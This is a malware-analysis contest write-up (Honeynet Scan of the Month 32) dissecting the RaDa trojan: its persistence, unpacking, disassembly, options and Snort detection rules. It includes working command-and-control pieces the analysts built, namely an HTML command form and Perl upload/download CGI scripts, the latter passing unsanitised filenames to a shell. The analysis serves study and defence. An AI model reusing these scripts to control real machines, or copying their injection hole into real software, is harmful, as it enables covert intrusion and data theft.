Scan of the month 32 - September 2004

Table of contents

Intro

Through the honeypots maillist we saw that there was another SotM (Scan of the Month) contest, number 32 already. Like always we were thinking about participating in it, to learn from it and to see if we could solve the questions. But where it most of the times went wrong in having no time for it we decided this time that we would make time for it. We know each other for quite some time now (from drinking beer together ;-)), and wanted to work on it together as a team.

Who we are? We are: Wim Koomen (22 years old, Netherlands),
Thijs Bosschert (22 years old, Netherlands) and
Bas Bosschert (26 years old, Netherlands)
We are all studying and working in IT related fields, and are all interested in security.

Return to Table of contents

Downloading RaDa

Since we were going to work with malware we had to be careful. We downloaded RaDa on our fully patched Linux machine to be sure it couldn't harm our network. And we tried to determine if we downloaded the right binary using the MD5 and SHA1 strings.

$ wget http://www.honeynet.org/scans/scan32/RaDa.zip --15:07:48-- http://www.honeynet.org/scans/scan32/RaDa.zip => `RaDa.zip' ... 0K .......... ...... 100% @ 6.65 KB/s 15:07:51 (6.65 KB/s) - `RaDa.zip' bewaard [17232/17232] $ md5sum RaDa.zip a75de27ee59ab60e148efe7feee5dd3f RaDa.zip $ sha1sum RaDa.zip 3142cb05c394f2efb8e361b5ea34c6559acedafc RaDa.zip $

Looks like we downloaded the right file. Next we unpacked the binary on Linux and we did a strings dump of the file to see if we could find anything useful.

$ unzip RaDa.zip Archive: RaDa.zip inflating: RaDa.exe $ strings RaDa.exe 6B@>CEC YMOM@./ RmR].G^ ^@n/ h^ry ... .rsr% KERNEL32.DLL MSVBVM60.DLL LoadLibraryA GetProcAddress ExitProcess $

This showed us a couple of usable strings like KERNEL32.DLL and MSVBM60.DLL. The file is very likely malware for the Windows Operating System written in Visual Basic 6 so we moved the binary to our Windows environment where we could work with it.

Return to Table of contents

Observing the binary

Setting up a secure environment

Because we didn't want to run RaDa.exe on our own production machines we decided that we would set up a secure controlled environment. The first machine we used for this job was a PII-366Mhz laptop with 512MB memory. Because it was unclear at this time what the binary would do, we created multiple environments and for each of these environments we created an image with 'Symantec Ghost'.

The operating system of our choice in this case was Microsoft Windows 2000. We installed it on the laptop and as soon as this was done we made an image of the setup. After this clean install we patched the system by running the SP4 install. Now we had two installs, one with SP4 and one without but because Microsoft released several patches after the release of SP4 we also had to create an image with the new patches installed. Finally three images were made, being the following:

The first image we started working with was the Windows 2000 standard install, if the RaDa binary used any vulnerability it would certainly be present in the standard Windows 2000 install. Because we still didn't know what the binary would do exactly we decided not to connect the machine to the network yet, but keep it standalone.

Starting with RaDa – Install Watch

With the secure environment in place and the machine ready it was time to take a first look at running the binary. The first thing we did was running the binary while using 'InstallWatch'.

“Install Watch records modifications made to your PC during the installation of software, hardware, or configuration changes.”

The binary itself showed us no signs that it was doing anything. But InstallWatch showed us a flurry of activity. The first thing that was registered was RaDa creating a directory on the C: root.

C:\RaDa

In this directory it created two more directories:

C:\RaDa\tmp C:\RaDa\bin

It then copied itself to the following file:

C:\RaDa\bin\RaDa.exe

The newly created C:\RaDa\bin\RaDa.exe seemed like an exact clone of the original RaDa.exe which we started ourselves. Even though there was no obvious activity from the binary besides the things mentioned above our taskmanager still showed a running process called 'RaDa.exe' so it was obviously doing more than just copy itself.

Besides the creation of the directories and the cloning the binary also made itself a registry key in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Windows looks at the content of this registry node to load programs at startup. Not surprisingly RaDa.exe made a key for itself in the node with the name 'RaDa' and the value of its newly created location 'C:\RaDa\bin\RaDa.exe'. This would mean the binary will keep being active on the computer even after a reboot.

Taking a closer look - Ethereal

Because RaDa didn't give us any output on the screen we decided to have a look at the network traffic it might output. We did an install of Ethereal the network protocol analyzer on our test environment and tried to see if RaDa attempted any network connections. Before we started the sniffing we killed the RaDa.exe process, turned on the sniffing, started the RaDa.exe binary again and looked at the network traffic it was generating. The first thing it tried was to get an address for the 10.10.10.10 IP. This was the only traffic we were able to see with Ethereal at this time. The machine wasn't connected to the network so this request didn't get answered. We decided to set up a little test network to see if we could get more information out of this.

Setting up a test network

Running RaDa on a stand alone machine showed us that we needed a network. So we built a small network with the infected Windows 2000 machine, another unpatched Windows 2000 machine and a Linux machine. On the infected Windows 2000 machine we ran Ethereal and on the Linux machine we used tcpdump to dump all trafic. Now it was time for the big moment. We started RaDa and saw several ARP requests asking who has 10.10.10.10. So, time to change the IP of our Linux machine to 10.10.10.10

# ifconfig eth0 10.10.10.10 netmask 255.0.0.0

We watched our network traffic again and noticed that RaDa tried to connect to 10.10.10.10. This time it found the machine and was talked to the HTTP port (80). We didn't have anything running on this port, so we started up netcat and let it listen on port 80.

# nc -l -p 80 GET /RaDa/RaDa_commands.html HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: nl Accept-Encoding: gzip, deflate If-Modified-Since: Sat, 25 Sep 2004 18:14:28 GMT If-None-Match: "0-3f-4155b584" User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: 10.2.0.1 Connection: Keep-Alive

We can see RaDa sending a normal HTTP request, so we decided to install Apache and create a /var/www/RaDa/RaDa_commands.html. We notice RaDa request the file every minute and doing nothing besides that. At first sight RaDa looks like a trojan, which gets his commands from the HTML file.

Commands

Now it's time to find out how we can give commands to RaDa. We tried lost of commands ourselves which we thought would work, but non of them did. After looking at some string dumps again we remembered that we saw something about forms, name and value. Looking the code back up again gave use:

.text:004056A9 push offset aElements ; "elements" ... .text:004056CA push 1 .text:004056CC push offset aForms ; "Forms" .text:004056D1 push 0 .text:004056D3 push offset aDocument ; "Document"

We can see Document.Forms.elements. And if we look further we see the strings "Name" and "Value". So we had to built a form and use the name option for the command and the value option for the argument, this is what we assumed. We looked further in the code and can see the strings "get", "put", "sleep", "screenshot", "exe". Bringing the pieces of the puzzle together we came up with some options of a html file, and testing with it we came to the following HTML file.

<form> <input name="screenshot" value="screenshot.bmp"> </form>

We ran RaDa again and this time it actually made a screenshot and wrote screenshot.bmp to the C:\RaDa\tmp directory. We tested the other commandos and they all works like a charm. So RaDa is a trojan and with the RaDa_commands.html we are able to execute commandos on the infected machine.

The commands that can be done are:

Command: Usage: get - Downloads a file from the webserver and puts it in the RaDa tempdir put - Uploads a file from the RaDa tempdir to the webserver sleep - Let's the program sleep for a while exe - Runs a local program screenshot - Makes a screenshot and places it in the RaDa tempdir

All the commands use variables, which are:

Command: Variable: get - filename to download put - filename to upload sleep - amount of seconds to sleep exe - filename to execute screenshot - filename of the screenshot

After we figured out how RaDa gets its commands from the server and which commands were available we decided to build a working upload and download script with which RaDa can communicate. RaDa will try to use those scripts when it receives a 'put' or 'get' command.

upload.cgi

First we created the upload script. Using Ethereal we captured the HTTP requests RaDa makes when it attempts to upload a file to the server.

POST /RaDa/cgi-bin/upload.cgi HTTP/1.1 Accept: */* Accept-Language: nl Content-Type: multipart/form-data; boundary=---------------------------0123456789012 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: 10.2.0.1 Content-Length: 278 Connection: Keep-Alive -----------------------------0123456789012 Content-Disposition: form-data; name="filename"; filename="SotMR0cks.txt" Content-Type: application/upload BSFH This is a localfile in c:\RaDa\tmp\ with the name SotMr0cks.txt BSFH -----------------------------0123456789012--

The requests RaDa makes is a regular upload request, so it wasn't that hard to create an upload.cgi. We decided to let the perl CGI module handle the upload and came up with the following upload.cgi script.

#!/usr/bin/perl # Upload.cgi for the RaDa trojan # SotM 32: http://www.honeynet.org/scans/scan32/ # # Just a simple script to test the uploading of files use CGI qw/:standard/; my ($value, $q, $filename, $bytesread, $buffer); $q = new CGI;$filename = $q->param('filename'); die "No file uploaded" if !$filename; open (F,">/var/www/files/$filename"); while($bytesread=read($filename,$buffer,1024)){ print F $buffer; } close(F); print header; print start_html('Upload.cgi'); print "File <a href='/files/$filename'>$filename</a> uploaded"; print end_html;

download.cgi

After we completed the upload.cgi script which worked like a charm we didn't expect the download.cgi script to pose any problems. However as we quickly found out, this wasn't the case. RaDa uses the Internet Explorer object to handle its HTTP requests and Internet Explorer will always ask for permission to download a file that it can not show in the browser window. This ofcourse will ring alarm bells with the user who is suddenly presented with a file download dialog. There had to be an other way to do this without alarming the user and after a look in the assembly dump we indeed found a piece of code which we thought could be very interesting.

.text:004071C2 mov ecx, [ebp+var_A4] .text:004071C8 push esi .text:004071C9 push offset aInnertext ; "innerText" .text:004071CE push esi .text:004071CF push offset aBody ; "body" .text:004071D4 push esi .text:004071D5 push offset aDocument ; "Document"

After RaDa sends his request we see a reference to Document.body.innerText which is the Microsoft's DOM way of saying all parsed text within the body node. But we can't just dump binaries as plain text this will totally ruin the alignment of the binary beyond repair. So we had to look further in the assembly dump for more hints.

.text:0040962D push offset aBegin ; "begin " .text:00409632 call ds:__vbaStrCmp ... .text:004096C7 push offset asc_402C10 ; "\r\n" .text:004096CC push offset aEnd ; "end"

Looking at those strings we recognized uuencoding which starts with a 'begin' and ends with an 'end' string. Knowing this we started to build a download script.

#!/usr/bin/perl # download.cgi for the RaDa trojan # SotM 32: http://www.honeynet.org/scans/scan32 # # A simple download.cgi to test the downloading of files # NOT WORKING VERSION! use CGI qw/:standard/; my ($value, $q, $filename, $bytesread, $buffer); $q = new CGI; $filename = $q->param('filename'); die "No file downloaded" if !$filename; print header; print start_html; print "<pre>"; my $x=`uuencode /var/www/files/$filename $filename > /var/www/files/$filename.uu`; open (F,"/var/www/files/$filename.uu"); while(<F>){ # Make sure we end each line with \r\n s/(\r|\n)//g; print "$_\r\n"; } close(F); unlink("/var/www/files/$filename.uu"); print "</pre>"; print end_html;

We tested this script with a simple textfile and it worked. Downloading a text file is nice but not very useful if you wanna make use of this trojan. So we tried to download a binary. We had a screenshot.bmp file on the server, which we uploaded earlier. With the above code we failed to download the binary. We started RaDa with the --visible option and we noticed immediately where RaDa goes wrong. Internet Explorer still parses HTML within a 'pre' element. Knowing this we have to find something else which bypass Internet Explorers HTML parser. Finally we figured out that text within a 'textarea' element doesn't get parsed. So we changed our code to its final version.

#!/usr/bin/perl # download.cgi for the RaDa trojan # SotM 32: http://www.honeynet.org/scans/scan32 # # A simple download.cgi to test the downloading of files use CGI qw/:standard/; my ($value, $q, $filename, $bytesread, $buffer); $q = new CGI; $filename = $q->param('filename'); die "No file downloaded" if !$filename; print header; print start_html; print "<textarea>"; my $x=`uuencode /var/www/files/$filename $filename > /var/www/files/$filename.uu`; open (F,"/var/www/files/$filename.uu"); while(<F>){ # Make sure we end each line with \r\n s/(\r|\n)//g; print "$_\r\n"; } close(F); unlink("/var/www/files/$filename.uu"); print "</textarea>"; print end_html;

Downloading of the screenshot.bmp file now works. A text file is fun, a screenshot even more fun, but what about an executable file. We uploaded calc.exe and tried to download it. Downloading worked somehow. It did write a file, but not the complete file. We opened RaDa again with the --visible option and the uuencoded text looked fine to us. RaDa probably fails on a null byte, but it was impossible to determine the exact reason of failure.

Command-line options

From the strings in the binary dump we saw that there were multiple -- strings. These looked like command-line options for the binary to us. So we decided to check if these were command-line options and what they would do.

The command-line options we found in the strings were:

--authors --cgiget --cgipath --cgiput --commands --cycles --gui --help --installdir --noinstall --period --server --tmpdir --verbose --visible --uninstall

The first command we wanted to try was --gui. So we opened a dos-box with cmd.exe and went to C:\RaDa\bin\, from there we tried the command

RaDa.exe –gui

It was a command-line option indeed, because it showed us an interface to the binary. We saw the following on our screen:

The --gui option seemed to give us the interface (GUI) of the binary. It gave us the name of the binary, the challenge name, the date it was made, and the names of the makers of the binary, which are the same people who are the judges for this challenge (hello Raul and David). Then there were six buttons we could push, named:

· Install · Uninstall · Show config · Show usage · Exit · Go!

The ‘Install’ button does the same thing as RaDa.exe does in the beginning when it is started for the first time and without the –gui option, the making of the directories, the copying of the file and the adding of the registry key.

The ‘Uninstall’ button tries to uninstall RaDa.exe, which only works if it is being run from another place than the default install directory. Because it can’t remove itself when it is still active. The Uninstall option removes the RaDa.exe file and also the registry key.

The ‘Show config’ button opens an Internet Explorer window with as title “RaDa Current Configuration”. The only thing in this window is the following text:

The ‘Show usage’ button gives almost the same window as the Show config button. Only with the title “RaDa Usage”

The ‘Exit’ button just quits the program.

Then we have one button left, the ‘Go!’ button, this one starts the normal behavior of RaDa.exe like it would have done when it wasn’t started without the command-line option ‘--gui’.

After having taking a look at the -- gui command-line, we tested all the command-line options one by one. Some of them needed arguments, others were just commands. The command-line options we found out and what they do are:

--authors

The --authors option gives a popup with the names of the authors.

--cgiget

The --cgiget option sets the name of the download cgi

Default: download.cgi

--cgipath

The --cgipath option sets the name of the cgi-bin directory

Default: cgi-bin

--cgiput

The --cgiput option sets the name of the upload cgi

Default: upload.cgi

--commands

The --commands option sets the name of the commands html file

Default: RaDa_commands.html

--cycles

The --cycles option sets the amount of times the RaDa.exe binary completes his request cycle for the commands html file. When 0 is used, it is set to unlimited.

Default: 0

--gui - Install - Uninstall - Show usage - Show config - Exit - Go

The --gui option gives a GUI with multiple options, which are explained above.

--help

The --help option gives the same screenshot as the ‘Show Usage’ button in the –gui command

--installdir

The - -installdir option sets the name of the directory RaDa is installed in

Default: \bin\

--noinstall

When RaDa.exe is being run with the --noinstall option it runs itself, but it doesn’t install itself on the hard disk and doesn’t make a registry key.

--period

The --period option is being used to sets the time in seconds between the cycles of the binary.

Default: 60

--server

The --server option sets the name of the server and the directory where the RaDa commands file is located to request it. RaDa only allowes local addresses for this, we think to keep it safer with testing this binary.

Default: http://10.10.10.10/RaDa

--tmpdir

The --tmpdir option sets the name of the temporary directory which RaDa uses

Default: \tmp\

--verbose

The --verbose option doesn’t seem to do anything, possibly it is broken

--visible

The --visible option shows an Internet Explorer window with the output from the request it does to the server with the RaDa commands. It opens a new Internet Explorer windows each time RaDa does a request.

--uninstall

The --uninstall option removes the RaDa.exe file from the install directory, kills RaDa and removes the registry key. But only if it is being run from another place then where it is installed. Because it can not remove itself when it is running.

Return to Table of contents

Observing the Code

Unpacking RaDa

When we tried loading the binary into our disassembler we got a warning that it was very likely the binary was packed. We kept this warning at the back of our heads when we quickly scanned the code manually. After a quick scan over the code we could easily determine that this was indeed a packed binary. The data segment of the code was much larger than the actual code segment, something which is virtually always the case for packed binaries.

Packed binaries use an algorithm to reduce their size so they will take up less disc space. Another reason to do this, and this is especially relevant for the RaDa executable, is that they're more difficult to analyse since the main program code is not visible in a disassembler. However there is a catch. Packed binaries can not be run when they're still in their packed state, so the first thing that the binary needs to do is unpack itself. Therefore the first code that will be run when the binary is started is the unpacking code this code will move the data it's unpacking into memory. After it's done unpacking the code pointer will jump to the entry point of the original program and the program will run like it has never been packed.

Before we could do any serious analysing ourselves we had to get the code in its unpacked state. At this point we weren't sure yet if the packing was done using a known packer or a custom written one. To test this we used a program called 'PEiD'.

“PEiD detects most common packers, cryptors and compilers for PE files. It can currently detect more than 450 different signatures in PE files.”

PEiD output:

So PEiD determined that the binary used the UPX packing method. This is convenient since UPX offers us an easy method to unpack the binary. However when we tried this UPX gave us an error message telling that it could not unpack the binary.

upx -d RaDa.exe -- upx: RaDa.exe: CantUnpackException: file is modified/hacked/protected; take care!!!

This could mean two things, either PEiD made a mistake determining the packing method or more likely in this case, the binary has been mangled with to stop it from being unpacked this way.

We had to unpack this binary using an alternative method. Loading the binary in the OllyDBG debugger we determined the two relevant memory sections, they were named JDR0 and JDR1. The debugger showed that the unpacking code was located in JDR1 so that means the final code will be unpacked in JDR0. JDR0 had a range from 401000h till 40C0000h so any jump or call to this range from the unpacking code will mean the real code starts there, we call this the original entry point (OEP). Setting a breakpoint just before the code goes to the OEP will leave us with the unpacked code in memory. Now we only have to dump the process memory to file, for this we use OllyDump. All is not well though, the import table and the entry point of the binary are still set to the old unpacked state. To get this fixed we use 'importRec'. Which records the import table of the running program and applies this to our dumped binary. After this is done we have our binary in an unpacked state ready to be analysed.

Looking at a random other program packed using UPX we noticed the similarities between this and RaDa.exe. Suddenly it struck us, we have taken the difficult road, everything we have done to unpack this binary could have been avoided if we just replaced all instances of JDR by UPX and 9.99 by 1.92 using a hex editor like the authors of this executable have done the other way around. And indeed after doing this the UPX program had no problem unpacking the binary and it left us with the clean unpacked RaDa.exe executable.

Return to Table of contents

Assembly analasis

To make sure we completely understand the purpose and all features in the RaDa binary we have to make a good as possible analysis of the assembly dump. This means reading and following the code in a debugger and disassembler. As a debugger we use OllyDBG and for the disassembly we use IDA pro. After loading the unpacked binary in IDA pro we tried to find some hints on where it's best to start with our analysis. In the stringdump we found the following string:

.text:00408DF8 mov [ebp+var_68], offset aCopyrightC2001 ; "Copyright (C) 2001 Antonin Foller, PSTR"...

After a search for this string it eventually brought us to a page about Uploading a file using IE+ADO without user interaction this is of course very interesting for a trojan so we decided to see if we could find the code in our binary. And after some code scanning we could indeed find most subroutines of this script back in our binary. The only subroutine we weren't able to find was the 'wait' subroutine.

Sub Wait(Seconds, Message) On Error Resume Next CreateObject("wscript.shell").Popup Message, Seconds, "", 64 End Sub

This can be easily explained since this code will give a popup message with the amount of seconds the user still has to wait before the file is uploaded. A trojan would of course never want to inform the user about its actions. So it's very likely this function got stripped from the program.

From this we could determine with certainty that part of the trojan involved uploading files to a remote server.

Since we now had a little point to hold on to we tried to find functions that made calls to any of those functions we already determined. In IDA pro this is very easy with the option 'Display chart to xrefs to current identifier'. Using this option we found that the subroutine which IDA had given the name 'sub_407470' made a call to do_vbsUpload(). Checking the rest of this code in the subroutine we renamed it 'putFileOnHTTPServer'. When we used the same method as describes above for this function we could trace our way back to the subroutines that handles all the commands the trojan accepts from the server 'put', 'get', 'exe', 'screenshot' and 'sleep'.

Another part of the code seemed to deal with the detection of VMware we found references to registry keys and MAC addresses on VMware although when we tried this binary under VMware nothing out happened even when we followed the code flow as if it was without VMware. The only situation where it gave odd results is when we used the -authors option on our binary. The code to the VMware check and the -authors command line option seemed interlinked. A bug maybe?

After scanning the full code we could name and determine the use of most the functions and subroutines in the binary. Below is a list with the address in within the binary, the name we gave it and the purpose we think it has.

Start Address Name Purpose
00404BA0 cloneAndSetRegKey Makes copy of self and sets the registry startup key
00404D80 unCloneAndUnsetRegKey Removes copy of self and removes the registry startup key
00404FB0 init Sets initial default values and starts main functions
004052C0 readCommandFromServer Reads the commands from the specified server
00405A80 showUsage Gets run when Show Usage in the --gui is clicked
00405E40 cycleCommandlineCommands Checks for command line options
004062F0 showConfig Gets run when Show Config in the --gui is clicked
004066B0 runProgram Starts up an external program which is specified by 'exe' command
00406840 getFileFromHTTPServer Downloads a file from the HTTP server. File is specified by 'get' command
00407470 putFileOnHTTPServer Uploads a file to the HTTP server. File is specified by 'put' command
004076F0 do_vbsUpload Main function for the method to upload a file on the server
004077D0 UploadFile Part of upload script mentioned above
004078F0 BuildFormData Part of upload script mentioned above
00408360 IEPostBinaryRequest Part of upload script mentioned above
00408780 mpFields Part of upload script mentioned above
00408B40 StringToMB Part of upload script mentioned above
00408D60 InfoEcho Part of upload script mentioned above
00409050 CheckRequirements Part of upload script mentioned above
00409220 CheckOneObject Part of upload script mentioned above
00409540 uuDecodeAndSaveFileToDisk uudecodes the received file and saves it to disc
0040A2F0 makeScreenshot Will make a screenshot in BMP and places file on disc
0040A5F0 goToSleep Will make the trojan sleep for a while as in the 'sleep' command
0040AAA0 checkVmWare Will check for the presence of VMware (but never gets called)
0040B010 showAuthors Will show a messagebox with the name of the authors
0040B010 showAuthors Will show a messagebox with the name of the authors
0040B160 checkTmpDir Checks if tmp directory is present and writable

Using the above table we were able to determine the complete flow of the trojan by following the code when it ran in our debugger.

Return to Table of contents

Creating a Snort Rule

One of the questions is to develop a Snort signature to detect this kind of malware. The Snort has to be as generic as possible, so other similar specimens could be detected as well but at the same time we have to avoid a high false positives rate. Since we never worked with Snort or knew about the possibilities of Snort this question was a nice way to jump into the deep waters of Lake Snort. We started out with a simple Snort rule to detect packages that want to go to the IP adress 10.10.10.10 on port 80.

alert tcp $INTERNAL_NET any -> 10.10.10.10 80 (msg:"RaDa Trojan";)

But this could give false positives if 10.10.10.10 is a valid website and someone wants to visit it. So we changed the rule a bit to match the RaDa_commands.html string.

alert tcp $INTERNAL_NET any -> 10.10.10.10 80 (msg:"RaDa Trojan";content:"RaDa_commands.html";)

This is a nice rule for this type of worm but since this worm has several command line options which give us the possibilty to change the server location or the location and name of the command file it's not all that useful. In other words it is easy to bypass this Snort rule with RaDa. Knowing the changing variables of RaDa leaves us with the following rule.

alert tcp $INTERNAL_NET any -> any 80 (msg:"RaDa Trojan";)

This means that every HTTP request from the internal network will give us a positive, of which most will probably be false positives. This is really not what we want. So we have to find something that is hardcoded in RaDa and can't be changed by command options. Let's take a look at the different HTTP requests

GET /RaDa/RaDa_commands.html HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: nl Accept-Encoding: gzip, deflate If-Modified-Since: Sat, 25 Sep 2004 18:14:28 GMT If-None-Match: "0-3f-4155b584" User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: 10.2.0.1 Connection: Keep-Alive

This is the request to the commands file of RaDa. Most of it is generated by Internet Explorer, so it is useless for our Snort rule. The /RaDa/RaDa_commands.html can be changed with the command options, so we have nothing in this request we can use for our rule. Let's see the answer of this request.

HTTP/1.1 200 OK Date: Sat, 25 Sep 2004 18:15:32 GMT Server: Apache/1.3.31 (Win32) Last-Modified: Sat, 25 Sep 2004 18:15:20 GMT ETag: "0-40-4155b5b8" Accept-Ranges: bytes Content-Length: 64 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html <form> <input name="get" value="screenshot.bmp"> </form>

Here we have something to work with. We can give RaDa several commands. All of these commands are hardcoded in the binary. The commands are screenshot, sleep, get, put and exe. We can filter on this commands with the following rule.

alert tcp any 80 -> $INTERNAL_NET any (msg:"RaDa Trojan";pcre:"/name\s*=\s*\"?(get|screenshot|sleep|put|exe)\"?/i";)

It is very difficult to parse HTML even with a regular expression. Since Internet Explorer accepts a large amount of ways to write certain HTML, not necessarily accepting the HTML standards, so it is easy to bypass this regular expression. And that's beside the fact that names like 'get' and 'put' can be used by valid sites as well which will give some false positives. So we have to find a better rule. Let's watch at RaDa downloading something.

POST /RaDa/cgi-bin/download.cgi HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: nl Content-Type: multipart/form-data; boundary=---------------------------0123456789012 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: 10.2.0.1 Content-Length: 263 Connection: Keep-Alive -----------------------------0123456789012 Content-Disposition: form-data; name="filename" screenshot.bmp -----------------------------0123456789012 Content-Disposition: form-data; name="Submit" Submit Form -----------------------------0123456789012--

Finally we found something which can be useful. The boundary used for file transfers is hardcoded in RaDa and most likely won't give very much false positives, so the following rule can be used against RaDa

alert tcp $INTERNAL_NET any -> any 80 (msg:"RaDa Trojan";content:"---------------------------0123456789012";)

There are still some problems with this rule, only the download and upload requests will be detected, but the commandos like 'screenshot', 'exe' and 'sleep' can still be used without detection. We could use the rule which checks for the 'name="command"', but this rule is easy to bypass depending on how good you regular expression skills are ;-)

There is an other problem, a new version with another boundary will simply bypass this rule. Like the snort manual says: “catch the vulnerability, not the exploit”. But in this case the vulnerability is bypassing the firewall/IDS/proxy with a legal HTTP request so basically there is no vulnerability to speak of. It is almost impossible to find a rule against this sort of threat, at least we are not able to provide one.
We have thought about checking the amount of requests in a certain time period, but this would also give a lot of false positives, because people might check a website like Slashdot regulary or their e-mail checker makes a HTTP request every minute. The problem also works the other way around you can configure RaDa to only make one requests in very long time period, like a week. Which makes the detection by requests in a certain time period impossible.

Return to Table of contents

Conclusion

From all our findings in the process of exploring the binary we can conclude that this a new kind of trojan. That it silently installs itself in a directory, places an registry key to start itself and makes a process in the background. This gives it the main features of an trojan, but that doesn't make it special. The special part is the communication it uses. A trojan needs a way to communicate so it can take its commands. The trojans of today mainly use two ways of communication. The first way is that the trojan server opens a port to listen on, and the client connects on this port to send commands. There are many different ports being used for this. Almost each trojan has it's own port. The problem with this way is that the computer needs to be connected directly to the internet to be able to connect to it. And the open ports can easily be closed because they are on a specific port number. The second way that is being mainly used is to let the trojan connect to an IRC server as a bot and listen in the channel. The commands are then given by the trojan owner in the channel. The problem with this is that it almost always connects on port 6667 or another IRC port. Where this trojan makes the difference is that it uses a http server to get it's commands. This way it doesn't have the problems the other ways have. For HTTP is being used port 80, which is a very common port to be open and to see traffic on. Also many companies have this port open on every workstation in the building so the employees can get on the internet, usually by a proxy. And a proxy won't stop this trojan, because it a perfectly normal requests it does. So, this seems to be a trojan with a new way to get it's commands, and a dangerous way because it isn't easily stopped.

Return to Table of contents

Answering the questions

Question 1: Identify and provide an overview of the binary, including the fundamental pieces of information that would help in identifying the same specimen.

The answer to question 1 can be found in the above analasis of the binary file

Question 2: Identify and explain the purpose of the binary.

This malware is designed to install on internal networks. When installed the malware contacts a webserver where he gets his commands. You only need Internet Explorer and an internet connection. It is designed to make use of Internet Explorer to send his HTTP-requests. So if Internet Explorer could connect to the outside world, RaDa can connect to the outside world. So companies which make use of proxy be aware.

Question 3: Identify and explain the different features of the binary. What are its capabilities?

The main feature of the binary is to act as a trojan. Get his commands from a webserver and run this commands on the machine. We have several commands: "put", "get", "sleep", "exe" and "screenshot". You can read in Commands which what command do.

You can also configure RaDa with several commandline options. A list of options and explaining wath they do can be watched in Commandline options

Question 4: Identify and explain the binary communication methods. Develop a Snort signature to detect this type of malware being as generic as possible, so other similar specimens could be detected, but avoiding at the same time a high false positives rate signature.

The binary connects to the commands webserver using Internet Explorer. It only communicates between Internet Explorer and the commands webserver. The best Snort Rule we could think of is:

alert tcp $INTERNAL_NET any -> any 80 (msg:"RaDa Trojan";content:"---------------------------0123456789012";)

But this rule only detects RaDa and not similar specimens, if they use another boundary. We thought about different kind of rules, but we couldn't find a generic rule which doesn't give false positives. So our answer to this question is: "There isn't a snort rule which can stop this threat."

More on Snort rules, see Creating a Snort Rule

Question 5: Identify and explain any techniques in the binary that protect it from being analyzed or reverse engineered.

The binary was packed with UPX and after that some values in the binary were changed. So it wasn't possible to unpack the binary. For more on unpacking, see Unpacking RaDa.

Also we saw some references to VMware in the assembly dump. We tried RaDa in a VMware environment, but almost everything worked the same. Except the --authors option which gives us an 'Unknown argument'.

In the assembly dump we saw a string about a Smurf attack. This string only gets pushed in edx and nothing is done with it. The string is there only to mislead us.

Question 6: Categorize this type of malware (virus, worm...) and justify your reasoning.

The binary can be best classified as a trojan. It doesn't have the intention to spread or infect other files. Once installed it only connects to a webserver to get his commands.

Question 7: Identify another tool that has demonstrated similar functionality in the past.

The Bagle worm also connected to a website to get some instructions

When the worm is started it connects to a list of predefined web servers and tries to access a PHP file with certain parameters. One of the parameters is the TCP port where the backdoor is listening which suggests that this functionality is used to collect the addresses of infected computers. Bagle has reportedly tried to download the Mitglieder trojan to some infected computers.

F-Secure Virus Descriptions: Bagle

Question 8: Suggest detection and protection methods to fight against the threats introduced by this binary.

It's hard to fight against these threats. Especially if you don't want to ruin the internetconnection of your network users. You can build some snort rules to detect these kind of threats, by checking on uploading files or special commands send by 'name="command"', but that will give a lot of false positives.

Another option is to make a whitelist of internetsites which can be watched on your network. For companies this could be a usable solution. It also stops people watching porn during workhours ;).
However we couldn't find the perfect solution to this threat. We hope someone else can find a better solution.

Bonus Question 1: Is it possible to interrogate the binary about the person(s) who developed this tool? In what circumstances and under which conditions?

Yes, it is possible to find about the authors. You can simply use the --authors commandline option and will pop up a window with the names of the authors. Also the options --gui, --config and --usage gives you information about the authors.
However if you run RaDa in VMware with the --authors option it doesn't work and gives you an error.

Bonus Question 2: What advancements in tools with similar purposes can we expect in the near future?

In the near feature we can expect that these kinds of trojans will be used in the wild. Also networks of companies will be infected faster and the amount of DDOS networks will grow.
Also new viruses and worms will make use of this threat.

Return to Table of contents